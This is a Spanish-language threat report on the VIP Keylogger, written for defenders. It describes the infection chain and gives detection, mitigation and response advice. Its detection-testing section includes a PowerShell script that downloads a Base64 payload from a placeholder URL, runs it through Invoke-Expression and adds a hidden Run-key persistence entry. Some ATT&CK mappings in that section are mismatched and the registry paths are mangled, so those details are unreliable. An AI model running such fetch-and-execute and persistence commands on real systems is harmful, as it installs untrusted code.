SOC Prime Bias: Medio

18 May 2026 19:04 UTC

VIP Keylogger y sus tácticas de evasión en múltiples capas

Author Photo
SOC Prime Team linkedin icon Seguir
VIP Keylogger y sus tácticas de evasión en múltiples capas
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

VIP Keylogger es una amenaza modular de robo de información entregada a través de cebos de phishing como alertas falsas de pagos bancarios. Su cadena de infección depende de cargadores basados en VBS, JavaScript o batch que usan una fuerte ofuscación, esteganografía en imágenes PNG y abuso de variables de entorno para ocultar etapas de PowerShell antes de lanzar el keylogger final. Una vez activo, el malware captura credenciales, capturas de pantalla, contenidos del portapapeles y contraseñas de Wi-Fi, y luego exfiltra los datos a través de múltiples canales de comando y control. Los esfuerzos de detección deben centrarse en cambios sospechosos en el registro, valores inusuales de variables de entorno y transiciones anormales de la ejecución de scripts a cargas útiles binarias.

Investigación

El equipo de Investigación de Amenazas de Splunk revisó más de 200 muestras de cargadores recopiladas en marzo y abril de 2026, documentando sus patrones de nomenclatura, variantes de cargadores y el uso esteganográfico de archivos PNG para la entrega de cargas útiles. Los investigadores reprodujeron el proceso de desofuscación, identificaron el abuso de la INTERNAL_DB_CACHE variable de entorno e identificaron la persistencia en la clave de registro UserInitMprLogonScript . El informe también asignó cada comportamiento observado a técnicas relevantes de MITRE ATT&CK para apoyar la ingeniería de detección.

Mitigación

Las organizaciones deben detener los intentos iniciales de phishing mediante controles de seguridad de correo electrónico más fuertes y filtrado de URL. Los defensores deben monitorear la creación y modificación de los valores de HKCUEnvironment , especialmente entradas de gran tamaño o el uso de la variable INTERNAL_DB_CACHE . La ejecución de cargadores basados en scripts desde directorios escribibles por usuario debe ser restringida, y se debe aplicar el Modo de Lenguaje Restringido de PowerShell donde sea posible. Las herramientas de seguridad de punto final también deben detectar inyecciones de procesos en aspnet_compiler.exe y actividad sospechosa de netsh .

Respuesta

Si se detecta un indicador de VIP Keylogger, aísle el host afectado, recopile la memoria volátil y los registros de ejecución de procesos recientes, y busque los artefactos de registro conocidos, las URLs de comando y control basadas en PNG y los archivos dejados. Los scripts maliciosos deben ser eliminados, las credenciales expuestas restablecidas, y se debe realizar un barrido más amplio en todo el entorno en busca de artefactos de cargadores relacionados y mecanismos de persistencia.

"graph TB %% Class definitions classDef action fill:#99ccff classDef technique fill:#ffcc99 classDef operator fill:#ff9900 %% Nodes initial_access["<b>Acción</b> – <b>T1566 Phishing</b><br/>Malicious .vbs/.js/.bat delivered via email"] class initial_access action execution["<b>Acción</b> – <b>T1059.005 Visual Basic</b>, <b>T1059.007 JavaScript</b>, <b>T1059.001 PowerShell</b><br/>Script stagers executed on the host"] class execution action obfuscation["<b>Acción</b> – <b>T1027.016 Inserción de Código Basura</b>, <b>T1027.003 Esteganografía</b>, <b>T1027.009 Cargas Útiles Embebidas</b><br/>Payloads hidden or disguised"] class obfuscation action persistence["<b>Acción</b> – <b>T1574.007 Secuestro del Flujo de Ejecución</b> via Registro de Script de Logon (UserInitMprLogonScript)<br/><b>T1037.001 Script de Inicialización de Logon de Arranque</b><br/>Ensures code runs at logon"] class persistence action priv_esc["<b>Acción</b> – <b>T1055.002 Inyección de Proceso PE</b>, <b>T1055.001 Inyección DLL</b>, <b>T1620 Carga de Código Reflectante</b><br/>Escalates privileges and evades defenses"] class priv_esc action credential_access["<b>Acción</b> – <b>T1555.003 Datos del Navegador</b>, <b>T1056.001 Keylogging</b>, <b>T1115 Secuestro del Portapapeles</b><br/>Collects user credentials"] class credential_access action discovery["<b>Acción</b> – <b>T1596.005 Descubrimiento de IP Externa</b> via servicios públicos<br/><b>T1016.002 Descubrimiento de Contraseña de Wiu2011Fi</b><br/>Gathers network information"] class discovery action collection["<b>Acción</b> – <b>T1113 Captura de Pantalla</b><br/>Collects visual data from the desktop"] class collection action c2["<b>Acción</b> – <b>T1071.001 Protocolos Web</b> y Telegram bot API<br/>Provides remote command and control"] class c2 action defense_evasion["<b>Acción</b> – <b>T1070.004 Eliminación de Archivos</b>, <b>T1070.010 Eliminación de Indicadores</b><br/>Removes evidence after operation"] class defense_evasion action %% Connections showing attack flow initial_access –>|leads_to| execution execution –>|leads_to| obfuscation obfuscation –>|leads_to| persistence persistence –>|leads_to| priv_esc priv_esc –>|leads_to| credential_access credential_access –>|leads_to| discovery discovery –>|leads_to| collection collection –>|leads_to| c2 c2 –>|leads_to| defense_evasion "

Flujo de ataque

Ejecución de Simulación

Requisito previo: La Verificación de Prevuelo de Telemetría y Línea de Base debe haber pasado.

Justificación: Esta sección detalla la ejecución precisa de la técnica adversaria (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados llevarán a un error de diagnóstico.

  • Narrativa del Ataque y Comandos:

    1. Reconocimiento Inicial – el atacante ejecuta Get-ADDomain (T1016.002) para descubrir relaciones de confianza de dominio.
    2. Adquisición de Carga Útil – usando Invoke-WebRequest (T1071.001) el atacante descarga una DLL codificada en Base64 que implementa el keylogger (T1056.001).
    3. Etapa por Variable de Entorno – la cadena descargada se almacena en una variable de entorno a nivel de usuario a través de [Environment]::SetEnvironmentVariable. Este paso satisface el enfoque de la regla de detección en la manipulación de variables de entorno.
    4. Ejecución Dinámica – el atacante ejecuta inmediatamente la carga útil con Invoke-Expression $env:VIPPayload (T1059.001). El keylogger comienza a capturar pulsaciones de teclas, capturas de pantalla (T1113), y datos del portapapeles (T1115).
    5. Limpieza – después de establecer la persistencia (por ejemplo, creando una clave Run, T1037.001), el atacante elimina el DLL temporal del disco (T1070.004) y elimina la variable de entorno para reducir la huella forense.
  • Script de Prueba de Regresión: El script a continuación reproduce los pasos exactos y genera la telemetría que la regla de Sigma espera.

    # Simulación de VIP Keylogger – PowerShell
    # -------------------------------------------------
    # 1. Descargar una carga útil de ejemplo (cadena codificada en Base64)
    $payloadUrl = "https://raw.githubusercontent.com/example/dummy-keylogger/main/payload.b64"
    $b64Payload = (Invoke-WebRequest -Uri $payloadUrl -UseBasicParsing).Content.Trim()
    
    # 2. Almacenar la carga útil en una variable de entorno a nivel de usuario
    $envVarName = "VIPPayload"
    [Environment]::SetEnvironmentVariable($envVarName, $b64Payload, "User")
    
    # 3. Decodificar y ejecutar la carga útil mediante Invoke‑Expression
    $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64Payload))
    Invoke-Expression $decoded
    
    # 4. (Opcional) Persistir a través de la clave Run – demuestra T1037.001
    $runKey = "HKCU:SoftwareMicrosoftWindowsCurrentVersionRun"
    Set-ItemProperty -Path $runKey -Name "VIPKeylogger" -Value "powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command `"Invoke-Expression $env:$envVarName`""
    
    # 5. Limpieza – eliminar la variable de entorno y la entrada de la clave Run
    Start-Sleep -Seconds 30   # permitir que alguna actividad sea registrada
    Remove-ItemProperty -Path $runKey -Name "VIPKeylogger" -ErrorAction SilentlyContinue
    [Environment]::SetEnvironmentVariable($envVarName, $null, "User")
  • Comandos de Limpieza: Ejecute estos comandos para devolver el sistema a un estado prístino después de la prueba.

    # Remove the environment variable created for the test
    [Environment]::SetEnvironmentVariable("VIPPayload", $null, "User")
    
    # Delete the persistence Run key entry if it exists
    $runKey = "HKCU:SoftwareMicrosoftWindowsCurrentVersionRun"
    Remove-ItemProperty -Path $runKey -Name "VIPKeylogger" -ErrorAction SilentlyContinue
    
    # Clear any residual PowerShell history entries (optional)
    Clear-History